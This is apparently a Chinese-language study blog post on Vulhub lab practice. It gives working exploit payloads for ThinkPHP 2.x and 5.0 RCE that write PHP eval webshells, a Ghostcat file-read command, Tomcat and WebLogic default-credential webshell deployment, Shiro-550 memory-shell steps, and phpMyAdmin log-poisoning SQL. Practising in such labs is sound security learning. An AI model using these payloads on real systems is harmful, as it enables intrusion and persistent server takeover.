跳到主要内容

第 8 天

· 阅读需 4 分钟
Hsieh
Hsieh
提示

基于 Vulhub 漏洞环境平台,实战演练经典中间件漏洞。本篇详细介绍 Docker 文件描述符限制的解决方法,深入解析 Tomcat 默认弱口令与 Ghostcat AJP 文件包含漏洞的利用流程,以及 WebLogic 控制台的弱口令渗透测试,通过真实漏洞环境积累实战经验。

Vulhub

  1. docker compose up -d 启动某漏洞环境报错

  1. 对 docker 永久调整 ulimit -n 对应的文件描述符数量
{
"default-ulimits": {
"nofile": {
"Name": "nofile",
"Soft": 65535,
"Hard": 65535
}
}
}
  1. 使用 docker compose down -v 删除容器, 重新创建

Tomcat

弱口令

  • 登录 http://your-ip:8080/manager/html 上传war包, 用户名密码为 tomcat/tomcat

Ghostcat 漏洞

  1. 下载 python 测试脚本
  2. python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.30.129 -p 8009 -f WEB-INF/web.xml 读取到敏感文件

weblogic

弱口令

  1. 访问http://your-ip:7001/console进入WebLogic管理控制台
  2. 默认用户名 weblogic 和密码 Oracle@123

  1. webshell 打成 war
cd myapp/
jar -cvf myapp *
  1. 部署到 weblogic, 后续步骤全部默认
  2. 成功连接上传的 webshell, weblogic 的默认 http 端口是 7001, https 端口是 7002

RCE漏洞

ThinkPHP

2.0/3.0 版本

1. 测试 rce 漏洞

  • 输入http://your-ip:8080/index.php?s=/a/b/c/${@phpinfo()} 查看是否正常输出

2. 获取 shell

  • 构造payload http://your-ip:8080/index.php?s=/a/b/name/${@eval($_GET[x])}&x=file_put_contents('1.php','<?php @eval($_POST['cmd']);?>');echo 'Success';die();
备注
  1. ;一个都不能少, 必须是完整php语句, 否则会语法错误
  2. http 协议参数是纯文本, 无关 x 参数有几个php语句

3. 连接 shell

  • 由于web用户对所有目录有读权限, web目录以外只能以只读形式查看敏感内容

4. 原理

  • PHP < 5.5 中 preg_replace 函数支持 /e 修饰符。当正则匹配成功时, 会将替换字符串作为 PHP 代码进行执行
  • 解析路径参数时, 用到下面语句
// $paths 是用户传入的 PATHINFO
$res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', $paths);

5.0 版本

1. 测试 rce 漏洞

  • 构造 http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

2. 写入 shell

  • WEB 根目录通常在 /var/www/public
  • 构造 http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['cmd']);?>' > /var/www/public/1.php

3. 连接 shell

  • 使用特斯拉成功连接

4. 原理

  • ThinkPHP 5 标准路由格式为 http://target/index.php?s=模块/控制器/操作 (Module/Controller/Action)
  • 未验证 Controller 是哪个类
  • \think\app 类的方法 invokefunction() 底层调用了反射

Shiro

Shiro-550 (CVE-2016-4437)

1. 指纹探测

  • cookie 中带有 rememberMe=deleteMe

2. ShiroAttack2

  • 工具爆破出 AES 密钥
  • 使用可用的利用链如 CommonsCollections
  • 反序列化用户对象 -> AES 加密 -> Base64编码

3. 漏洞利用

  • 注入内存马

  • 使用蚁剑连接

phpMyAdmin

CVE-2018-12613

1. 文件包含漏洞

2. 改日志路径

  • 日志路径修改到 Web 目录
SET GLOBAL general_log_file='/var/www/html/1.php';
  • 开启全局日志功能
SET GLOBAL general_log='ON';
  • shell 写入日志
SELECT '<?php @eval($_POST['cmd']);?>';
  • 访问日志路径 http://your-ip:8080/1.php, php 引擎会加载日志
信息

由于 os 目录用户权限设置, 无法上传 shell, 利用失败。
学习到以下内容:
自己上传的 shell, 不经过框架, 无需 token 就可直连; 而文件包含是利用框架的路径, 会经过框架的 csrf 验证, 所以只有携带合法 token 才能连接上; GET 请求只读, 永远不用验证 token。